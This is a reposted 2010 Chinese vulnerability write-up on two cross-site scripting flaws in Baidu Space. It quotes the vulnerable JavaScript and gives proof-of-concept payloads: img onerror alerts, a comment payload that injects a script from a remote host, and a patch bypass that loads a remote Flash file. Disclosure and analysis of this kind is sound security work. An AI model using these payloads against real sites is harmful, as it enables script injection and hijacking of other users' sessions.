文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>百度个人空间 Xss 漏洞

百度个人空间 Xss 漏洞

时间:2010-05-15  来源:baoluowanxiang

百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS

 
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
 
将输出一段HTML:<p style="margin-top:5px"><strong>'+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+'</p>
其中BdUtil.insertWBR为
function(text, step) {
    var textarea = textAreaCache || getContainer();
    if (!textarea) {
        return text;
    }
    textarea.innerHTML = text.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
    var string = textarea.value;
    var step = step || 5, reg = new RegExp("(\S{" + step + "})", "gi");
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr/?>)([^;]*);/g, "&$1$3;");
    return result;
}
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
测试代码:
宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
 
 
 
二:creatbgmusic() Dom-Xss Bug
 
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
 
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
 
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
    //传入的murl赋值到bgmusic1和bgmusic2中
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME="URL" VALUE="" + murl + "?t=" + Math.random() + "">" + " <PARAM NAME="rate" VALUE="1">" + " <PARAM NAME="balance" VALUE="0">" + " <PARAM NAME="currentPosition" VALUE="0">" + " <PARAM NAME="defaultFrame" VALUE="">" + " <PARAM NAME="PlayCount" VALUE="" + (IsMusicLoop ? 100 : 0) + "">" + " <PARAM NAME="DisplayMode" VALUE="0">" + " <PARAM NAME="PreviewMode" VALUE="0">" + " <PARAM NAME="DisplayForeColor" VALUE="16777215">" + " <PARAM NAME="ShowCaptioning" VALUE="0">" + " <PARAM NAME="ShowControls" VALUE="1">" + " <PARAM NAME="ShowAudioControls" VALUE="1">" + " <PARAM NAME="ShowDisplay" VALUE="0">" + " <PARAM NAME="ShowGotoBar" VALUE="0">" + " <PARAM NAME="ShowStatusBar" VALUE="0">" + " <PARAM NAME="ShowTracker" VALUE="1">" + " <PARAM NAME="autoStart" VALUE="" + (IsMusicAutoPlay ? 1 : 0) + "">" + " <PARAM NAME="AutoRewind" VALUE="" + (IsMusicAutoPlay ? 1 : 0) + "">" + " <PARAM NAME="currentMarker" VALUE="0">" + " <PARAM NAME="invokeURLs" VALUE="0">" + " <PARAM NAME="baseURL" VALUE="">" + " <PARAM NAME="volume" VALUE="100">" + " <PARAM NAME="mute" VALUE="0">" + " <PARAM NAME="stretchToFit" VALUE="0">" + " <PARAM NAME="windowlessVideo" VALUE="1">" + " <PARAM NAME="enabled" VALUE="1">" + " <PARAM NAME="EnableFullScreenControls" VALUE="0">" + " <PARAM NAME="EnableTracker" VALUE="1">" + " <PARAM NAME="EnablePositionControls" VALUE="1">" + " <PARAM NAME="enableContextMenu" VALUE="0">" + " <PARAM NAME="SelectionStart"  VALUE="0">" + " <PARAM NAME="SelectionEnd" VALUE="0">" + " <PARAM NAME="fullScreen" VALUE="0">" + " <PARAM NAME="SAMIStyle" VALUE="">" + " <PARAM NAME="SAMILang" VALUE="">" + " <PARAM NAME="SAMIFilename" VALUE="">" + " <PARAM NAME="captioningID" VALUE="">" + " <PARAM NAME="Visualizations" VALUE="1">";
    if (musicnum <= 1) {
        bgmusic1 += " <PARAM NAME="uiMode" VALUE="mini">";
    }
    bgmusic1 += "</OBJECT>";
    var bgmusic2 = "<EMBED src="" + murl + "?t=" + Math.random() + "" width="100%" " + (IsMusicHide ? "height=45" : "") + " type="application/x-mplayer2" invokeurls="0" autogotourl="false" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality="high"";
    if (musicnum <= 1) {
        bgmusic2 += "showcontrols="1" showpositioncontrols="0" ";
    }
    bgmusic2 += "> </EMBED>";
    var bgmusic3 = "<div id="m_bgmusic" class="modbox">u5BF9u4E0Du8D77uFF0Cu60A8u5C1Au672Au5B89u88C5windows media playeruFF0Cu65E0u6CD5u6B23u8D4Fu8BE5u7A7Au95F4u7684u80CCu666Fu97F3u4E50uFF0Cu8BF7u5148<a href="http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3" target="_blank">u4E0Bu8F7Du5E76u5B89u88C5</a><br><br></div>";
    var bgmus = detectWMP();
    if (functype == "FckMusicHelper") {
        if (bgmus.installed) {
            if (bgmus.type == "IE") {
                return bgmusic1;
            } else if (bgmus.type == "NS") {
                return bgmusic2;
            }
        } else {
            return bgmusic3;
        }
    } else {
        if (bgmus.installed) {
            //document.write 直接输出bgmusic变量 导致xss
            if (bgmus.type == "IE") {
                document.write(bgmusic1);
            } else if (bgmus.type == "NS") {
                document.write(bgmusic2);
            }
        } else {
            document.write(bgmusic3);
        }
        return "";
    }
}
 
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
 
function initBlogTextForFCK(){
 //fck init music
 if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
 var imgBox=document.getElementsByName('musicName');   //取得了文章中的所有name="musicName"的标签数组
 var isAutoPlay=true;
 for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.
  var img=imgBox[i];
  if(img.getAttribute('rel')){     
   var musicSrc=img.getAttribute('rel');    //取得标签中rel的值,赋值给musicSrc
   var musicDiv = document.createElement("SPAN");
   var tmp=musicSrc.substr (musicSrc.indexOf('#')+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
  
      ..........................
  
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')),1,true,false,tmpAutoPlay,tmpAutoPlay,'FckMusicHelper');
   shtml=shtml.replace('width=100%','width=200').replace('width="100%"','width=200 height=45');   img.replaceNode(musicDiv);
   musicDiv.innerHTML=shtml;
   i--;n--;
  }
 }
 
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
 
 
 
测试方法:<img width="200" height="45" name="musicName" rel='"><img src=2 onerror=alert(/qing/)>#1' src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
 
等待官方补丁
 
update 2010年5月13日
 
官方补丁:
 
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')),1,true,false,tmpAutoPlay,tmpAutoPlay,'FckMusicHelper');
改为:
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf('#')).replace(/[s><()]+/g,''),1,true,false,isAutoPlay,isAutoPlay,'FckMusicHelper');
 
update 2010年5月13日 21:50:37
 
补丁存在漏洞 没有过滤" 可以继续跨:
 
NEW POC:
 
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel='http://www.xsser.net/pz/js.swf" allowscriptaccess="always" type="application/x-shockwave-flash"#2' name="musicName"/>

本文转自 ☆★ 包罗万象网 ★☆ - http://www.baoluowanxiang.com 转载请注明出处,侵权必究!
原文链接:http://www.baoluowanxiang.com/a/net-offense/loophole/2010/0514/795.html

相关阅读 更多 +
排行榜 更多 +
零界之痕手游安卓下载

零界之痕手游安卓下载

角色扮演 下载
漫游都市手机版下载

漫游都市手机版下载

赛车竞速 下载
涡轮螺旋桨飞行模拟器无限金币版下载

涡轮螺旋桨飞行模拟器无限金币版下载

模拟经营 下载